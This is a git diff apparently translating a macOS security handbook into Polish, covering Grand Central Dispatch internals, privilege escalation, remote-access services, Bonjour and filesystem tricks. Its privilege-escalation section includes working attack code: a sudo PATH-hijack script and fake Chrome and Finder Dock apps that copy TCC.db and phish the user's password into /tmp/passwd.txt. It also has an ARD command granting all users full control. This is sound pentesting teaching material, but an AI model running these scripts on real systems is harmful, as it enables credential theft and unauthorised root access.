which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. +Podczas tworzenia kolejki za pomocą **`dispatch_queue_create`** trzeci argument to `dispatch_queue_attr_t`, który zazwyczaj jest albo `DISPATCH_QUEUE_SERIAL` (co w rzeczywistości jest NULL), albo `DISPATCH_QUEUE_CONCURRENT`, który jest wskaźnikiem do struktury `dispatch_queue_attr_t`, która pozwala kontrolować niektóre parametry kolejki. -### Dispatch objects +### Obiekty dispatch -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +Istnieje kilka obiektów, które wykorzystuje libdispatch, a kolejki i bloki to tylko 2 z nich. Możliwe jest tworzenie tych obiektów za pomocą `dispatch_object_create`: - `block` -- `data`: Data blocks -- `group`: Group of blocks -- `io`: Async I/O requests -- `mach`: Mach ports -- `mach_msg`: Mach messages -- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues +- `data`: Bloki danych +- `group`: Grupa bloków +- `io`: Asynchroniczne żądania I/O +- `mach`: Porty Mach +- `mach_msg`: Wiadomości Mach +- `pthread_root_queue`: Kolejka z pulą wątków pthread i nie workqueues - `queue` - `semaphore` -- `source`: Event source +- `source`: Źródło zdarzeń ## Objective-C -In Objetive-C there are different functions to send a block to be executed in parallel: +W Objective-C istnieją różne funkcje do wysyłania bloku do wykonania równolegle: -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. -- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Przesyła blok do asynchronicznego wykonania w kolejce dispatch i natychmiast zwraca. +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Przesyła obiekt bloku do wykonania i zwraca po zakończeniu jego wykonania. +- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Wykonuje obiekt bloku tylko raz w czasie życia aplikacji. +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Przesyła element roboczy do wykonania i zwraca tylko po zakończeniu jego wykonania. W przeciwieństwie do [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), ta funkcja respektuje wszystkie atrybuty kolejki podczas wykonywania bloku. -These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** - -This is the **struct of a Block**: +Te funkcje oczekują tych parametrów: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** +To jest **struktura bloku**: ```c struct Block { - void *isa; // NSConcreteStackBlock,... - int flags; - int reserved; - void *invoke; - struct BlockDescriptor *descriptor; - // captured variables go here +void *isa; // NSConcreteStackBlock,... +int flags; +int reserved; +void *invoke; +struct BlockDescriptor *descriptor; +// captured variables go here }; ``` - -And this is an example to use **parallelism** with **`dispatch_async`**: - +A oto przykład użycia **parallelism** z **`dispatch_async`**: ```objectivec #import // Define a block void (^backgroundTask)(void) = ^{ - // Code to be executed in the background - for (int i = 0; i < 10; i++) { - NSLog(@"Background task %d", i); - sleep(1); // Simulate a long-running task - } +// Code to be executed in the background +for (int i = 0; i < 10; i++) { +NSLog(@"Background task %d", i); +sleep(1); // Simulate a long-running task +} }; int main(int argc, const char * argv[]) { - @autoreleasepool { - // Create a dispatch queue - dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); +@autoreleasepool { +// Create a dispatch queue +dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); - // Submit the block to the queue for asynchronous execution - dispatch_async(backgroundQueue, backgroundTask); +// Submit the block to the queue for asynchronous execution +dispatch_async(backgroundQueue, backgroundTask); - // Continue with other work on the main queue or thread - for (int i = 0; i < 10; i++) { - NSLog(@"Main task %d", i); - sleep(1); // Simulate a long-running task - } - } - return 0; +// Continue with other work on the main queue or thread +for (int i = 0; i < 10; i++) { +NSLog(@"Main task %d", i); +sleep(1); // Simulate a long-running task +} +} +return 0; } ``` - ## Swift -**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ -The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. +**`libswiftDispatch`** to biblioteka, która zapewnia **Swift bindings** do frameworka Grand Central Dispatch (GCD), który pierwotnie został napisany w C.\ +Biblioteka **`libswiftDispatch`** opakowuje C GCD API w bardziej przyjazny dla Swift interfejs, co ułatwia i czyni bardziej intuicyjnym pracę z GCD dla programistów Swift. - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`async await`** - - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** - -**Code example**: +- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** +**Przykład kodu**: ```swift import Foundation // Define a closure (the Swift equivalent of a block) let backgroundTask: () -> Void = { - for i in 0..<10 { - print("Background task \(i)") - sleep(1) // Simulate a long-running task - } +for i in 0..<10 { +print("Background task \(i)") +sleep(1) // Simulate a long-running task +} } // Entry point autoreleasepool { - // Create a dispatch queue - let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") +// Create a dispatch queue +let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") - // Submit the closure to the queue for asynchronous execution - backgroundQueue.async(execute: backgroundTask) +// Submit the closure to the queue for asynchronous execution +backgroundQueue.async(execute: backgroundTask) - // Continue with other work on the main queue - for i in 0..<10 { - print("Main task \(i)") - sleep(1) // Simulate a long-running task - } +// Continue with other work on the main queue +for i in 0..<10 { +print("Main task \(i)") +sleep(1) // Simulate a long-running task +} } ``` - ## Frida -The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) - +Poniższy skrypt Frida może być użyty do **podłączenia się do kilku funkcji `dispatch`** i wyodrębnienia nazwy kolejki, śladu stosu oraz bloku: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -190,12 +183,11 @@ Backtrace: 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] [...] ``` - ## Ghidra -Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. +Obecnie Ghidra nie rozumie ani struktury ObjectiveC **`dispatch_block_t`**, ani struktury **`swift_dispatch_block`**. -So if you want it to understand them, you could just **declare them**: +Więc jeśli chcesz, aby je zrozumiała, możesz po prostu **zadeklarować je**:
@@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
-Then, find a place in the code where they are **used**: +Następnie znajdź miejsce w kodzie, gdzie są **używane**: > [!TIP] -> Note all of references made to "block" to understand how you could figure out that the struct is being used. +> Zauważ wszystkie odniesienia do "block", aby zrozumieć, jak możesz ustalić, że struktura jest używana.
-Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: +Kliknij prawym przyciskiem myszy na zmienną -> Zmień typ zmiennej i wybierz w tym przypadku **`swift_dispatch_block`**:
-Ghidra will automatically rewrite everything: +Ghidra automatycznie przepisze wszystko:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index fa8e2aeb4..881fee326 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -4,7 +4,7 @@ ## TCC Privilege Escalation -If you came here looking for TCC privilege escalation go to: +Jeśli przyszedłeś tutaj szukając eskalacji uprawnień TCC, przejdź do: {{#ref}} macos-security-protections/macos-tcc/ @@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/ ## Linux Privesc -Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +Proszę zauważyć, że **większość sztuczek dotyczących eskalacji uprawnień wpływających na Linux/Unix wpłynie również na maszyny MacOS**. Zobacz więc: {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} -## User Interaction +## Interakcja z użytkownikiem ### Sudo Hijacking -You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). - -However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:** +Możesz znaleźć oryginalną [technikę Sudo Hijacking w poście o eskalacji uprawnień Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking). +Jednak macOS **zachowuje** **`PATH`** użytkownika, gdy wykonuje **`sudo`**. Co oznacza, że innym sposobem na przeprowadzenie tego ataku byłoby **przejęcie innych binarek**, które ofiara nadal wykona podczas **uruchamiania sudo:** ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc +whoami > /tmp/privesc fi /bin/ls "\$@" EOF @@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` +Zauważ, że użytkownik korzystający z terminala prawdopodobnie ma **zainstalowany Homebrew**. Możliwe jest więc przejęcie binarek w **`/opt/homebrew/bin`**. -Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. +### Podszywanie się pod Dock -### Dock Impersonation - -Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: +Używając pewnych **techniki inżynierii społecznej**, możesz **podszyć się na przykład pod Google Chrome** w docku i faktycznie wykonać swój własny skrypt: {{#tabs}} {{#tab name="Chrome Impersonation"}} -Some suggestions: - -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +Kilka sugestii: +- Sprawdź w Docku, czy jest Chrome, a w takim przypadku **usuń** ten wpis i **dodaj** **fałszywy** **wpis Chrome w tej samej pozycji** w tablicy Dock. ```bash #!/bin/sh @@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < int main() { - char *cmd = "open /Applications/Google\\\\ Chrome.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /Applications/Google\\\\ Chrome.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Finder.app/Contents/MacOS/Finder.c < int main() { - char *cmd = "open /System/Library/CoreServices/Finder.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /System/Library/CoreServices/Finder.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Finder - CFBundleIdentifier - com.apple.finder - CFBundleName - Finder - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Finder +CFBundleIdentifier +com.apple.finder +CFBundleName +Finder +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data `Sharing` +To są powszechne usługi macOS do zdalnego dostępu.\ +Możesz włączyć/wyłączyć te usługi w `Ustawienia systemowe` --> `Udostępnianie` -- **VNC**, known as “Screen Sharing” (tcp:5900) -- **SSH**, called “Remote Login” (tcp:22) -- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) -- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - -Check if any is enabled running: +- **VNC**, znane jako “Udostępnianie ekranu” (tcp:5900) +- **SSH**, nazywane “Zdalnym logowaniem” (tcp:22) +- **Apple Remote Desktop** (ARD), lub “Zarządzanie zdalne” (tcp:3283, tcp:5900) +- **AppleEvent**, znane jako “Zdalne zdarzenie Apple” (tcp:3031) +Sprawdź, czy którakolwiek z nich jest włączona, uruchamiając: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` - ### Pentesting ARD -Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. +Apple Remote Desktop (ARD) to ulepszona wersja [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) dostosowana do macOS, oferująca dodatkowe funkcje. Znaczną podatnością w ARD jest metoda uwierzytelniania dla hasła ekranu kontrolnego, która wykorzystuje tylko pierwsze 8 znaków hasła, co czyni ją podatną na [atak siłowy](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) za pomocą narzędzi takich jak Hydra lub [GoRedShell](https://github.com/ahhh/GoRedShell/), ponieważ nie ma domyślnych limitów szybkości. -Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. - -To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: +Podatne instancje można zidentyfikować za pomocą skryptu `vnc-info` w **nmap**. Usługi obsługujące `VNC Authentication (2)` są szczególnie podatne na ataki siłowe z powodu skrócenia hasła do 8 znaków. +Aby włączyć ARD do różnych zadań administracyjnych, takich jak eskalacja uprawnień, dostęp GUI lub monitorowanie użytkowników, użyj następującego polecenia: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` +ARD zapewnia wszechstronne poziomy kontroli, w tym obserwację, wspólną kontrolę i pełną kontrolę, z sesjami utrzymującymi się nawet po zmianach hasła użytkownika. Umożliwia wysyłanie poleceń Unix bezpośrednio, wykonując je jako root dla użytkowników administracyjnych. Planowanie zadań i zdalne wyszukiwanie Spotlight to istotne funkcje, ułatwiające zdalne, niskoodporne wyszukiwania wrażliwych plików na wielu maszynach. -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Protokół Bonjour -## Bonjour Protocol +Bonjour, technologia zaprojektowana przez Apple, umożliwia **urządzeniom w tej samej sieci wykrywanie oferowanych przez siebie usług**. Znany również jako Rendezvous, **Zero Configuration** lub Zeroconf, umożliwia urządzeniu dołączenie do sieci TCP/IP, **automatyczne wybieranie adresu IP** i nadawanie swoich usług innym urządzeniom w sieci. -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +Zero Configuration Networking, zapewniane przez Bonjour, gwarantuje, że urządzenia mogą: -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **Automatycznie uzyskiwać adres IP** nawet w przypadku braku serwera DHCP. +- Wykonywać **tłumaczenie nazwy na adres** bez potrzeby korzystania z serwera DNS. +- **Odkrywać usługi** dostępne w sieci. -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +Urządzenia korzystające z Bonjour przypisują sobie **adres IP z zakresu 169.254/16** i weryfikują jego unikalność w sieci. Maci utrzymują wpis w tabeli routingu dla tej podsieci, co można zweryfikować za pomocą `netstat -rn | grep 169`. -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +Dla DNS Bonjour wykorzystuje **protokół Multicast DNS (mDNS)**. mDNS działa na **porcie 5353/UDP**, stosując **standardowe zapytania DNS**, ale kierując je na **adres multicast 224.0.0.251**. Takie podejście zapewnia, że wszystkie nasłuchujące urządzenia w sieci mogą odbierać i odpowiadać na zapytania, ułatwiając aktualizację swoich rekordów. -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +Po dołączeniu do sieci każde urządzenie samodzielnie wybiera nazwę, zazwyczaj kończącą się na **.local**, która może pochodzić z nazwy hosta lub być generowana losowo. -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +Odkrywanie usług w sieci ułatwia **DNS Service Discovery (DNS-SD)**. Wykorzystując format rekordów DNS SRV, DNS-SD używa **rekordów DNS PTR** do umożliwienia listowania wielu usług. Klient poszukujący konkretnej usługi zażąda rekordu PTR dla `.`, otrzymując w zamian listę rekordów PTR sformatowanych jako `..`, jeśli usługa jest dostępna z wielu hostów. -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +Narzędzie `dns-sd` może być używane do **odkrywania i ogłaszania usług sieciowych**. Oto kilka przykładów jego użycia: -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### Wyszukiwanie usług SSH +Aby wyszukać usługi SSH w sieci, używa się następującego polecenia: ```bash dns-sd -B _ssh._tcp ``` +To polecenie inicjuje przeszukiwanie usług \_ssh.\_tcp i wyświetla szczegóły, takie jak znacznik czasu, flagi, interfejs, domena, typ usługi i nazwa instancji. -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### Reklamowanie usługi HTTP +Aby zareklamować usługę HTTP, możesz użyć: ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +To polecenie rejestruje usługę HTTP o nazwie "Index" na porcie 80 z ścieżką `/index.html`. -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +Aby następnie wyszukać usługi HTTP w sieci: ```bash dns-sd -B _http._tcp ``` +Kiedy usługa się uruchamia, ogłasza swoją dostępność wszystkim urządzeniom w podsieci, multicastując swoją obecność. Urządzenia zainteresowane tymi usługami nie muszą wysyłać żądań, wystarczy, że nasłuchują tych ogłoszeń. -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +Dla bardziej przyjaznego interfejsu, aplikacja **Discovery - DNS-SD Browser** dostępna w Apple App Store może wizualizować usługi oferowane w twojej lokalnej sieci. +Alternatywnie, można napisać niestandardowe skrypty do przeglądania i odkrywania usług za pomocą biblioteki `python-zeroconf`. Skrypt [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) demonstruje tworzenie przeglądarki usług dla usług `_http._tcp.local.`, drukując dodane lub usunięte usługi: ```python from zeroconf import ServiceBrowser, Zeroconf class MyListener: - def remove_service(self, zeroconf, type, name): - print("Service %s removed" % (name,)) +def remove_service(self, zeroconf, type, name): +print("Service %s removed" % (name,)) - def add_service(self, zeroconf, type, name): - info = zeroconf.get_service_info(type, name) - print("Service %s added, service info: %s" % (name, info)) +def add_service(self, zeroconf, type, name): +info = zeroconf.get_service_info(type, name) +print("Service %s added, service info: %s" % (name, info)) zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) try: - input("Press enter to exit...\n\n") +input("Press enter to exit...\n\n") finally: - zeroconf.close() +zeroconf.close() ``` +### Wyłączanie Bonjour -### Disabling Bonjour - -If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: - +Jeśli istnieją obawy dotyczące bezpieczeństwa lub inne powody, aby wyłączyć Bonjour, można to zrobić za pomocą następującego polecenia: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## Odniesienia - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 245bc7626..8799653bf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -20,7 +20,7 @@ Uprawnienia w **katalogu**: - Jeden rodzic **właściciel katalogu** w ścieżce to **grupa użytkowników** z **dostępem do zapisu** - Grupa użytkowników ma **dostęp do zapisu** do **pliku** -Przy dowolnej z powyższych kombinacji, atakujący mógłby **wstrzyknąć** **link symboliczny/twardy** w oczekiwanej ścieżce, aby uzyskać uprzywilejowany, dowolny zapis. +Przy dowolnej z powyższych kombinacji, atakujący mógłby **wstrzyknąć** **link symboliczny/twardy** do oczekiwanej ścieżki, aby uzyskać uprzywilejowany, dowolny zapis. ### Folder root R+X Specjalny przypadek @@ -30,10 +30,16 @@ Przykład w: [https://theevilbit.github.io/posts/exploiting_directory_permission ## Link symboliczny / Link twardy +### Umożliwiony plik/folder + Jeśli uprzywilejowany proces zapisuje dane w **pliku**, który mógłby być **kontrolowany** przez **użytkownika o niższych uprawnieniach**, lub który mógłby być **wcześniej utworzony** przez użytkownika o niższych uprawnieniach. Użytkownik mógłby po prostu **wskazać go na inny plik** za pomocą linku symbolicznego lub twardego, a uprzywilejowany proces zapisze w tym pliku. Sprawdź w innych sekcjach, gdzie atakujący mógłby **wykorzystać dowolny zapis do eskalacji uprawnień**. +### Otwórz `O_NOFOLLOW` + +Flaga `O_NOFOLLOW` używana przez funkcję `open` nie będzie podążać za linkiem symbolicznym w ostatnim komponencie ścieżki, ale będzie podążać za resztą ścieżki. Prawidłowy sposób zapobiegania podążaniu za linkami symbolicznymi w ścieżce to użycie flagi `O_NOFOLLOW_ANY`. + ## .fileloc Pliki z rozszerzeniem **`.fileloc`** mogą wskazywać na inne aplikacje lub binaria, więc gdy są otwierane, aplikacja/binary będzie tą, która zostanie uruchomiona.\ @@ -50,15 +56,19 @@ Przykład: ``` -## Arbitrary FD +## Deskryptory plików -Jeśli możesz sprawić, że **proces otworzy plik lub folder z wysokimi uprawnieniami**, możesz nadużyć **`crontab`**, aby otworzyć plik w `/etc/sudoers.d` z **`EDITOR=exploit.py`**, dzięki czemu `exploit.py` uzyska FD do pliku w `/etc/sudoers` i go nadużyje. +### Wycieki FD (brak `O_CLOEXEC`) -Na przykład: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) +Jeśli wywołanie `open` nie ma flagi `O_CLOEXEC`, deskryptor pliku zostanie odziedziczony przez proces potomny. Tak więc, jeśli proces z uprawnieniami otworzy plik z uprawnieniami i wykona proces kontrolowany przez atakującego, atakujący **odziedziczy FD do pliku z uprawnieniami**. -## Avoid quarantine xattrs tricks +Jeśli możesz sprawić, aby **proces otworzył plik lub folder z wysokimi uprawnieniami**, możesz nadużyć **`crontab`**, aby otworzyć plik w `/etc/sudoers.d` z **`EDITOR=exploit.py`**, dzięki czemu `exploit.py` uzyska FD do pliku w `/etc/sudoers` i go nadużyje. -### Remove it +Na przykład: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging + +## Unikaj sztuczek z xattrs kwarantanny + 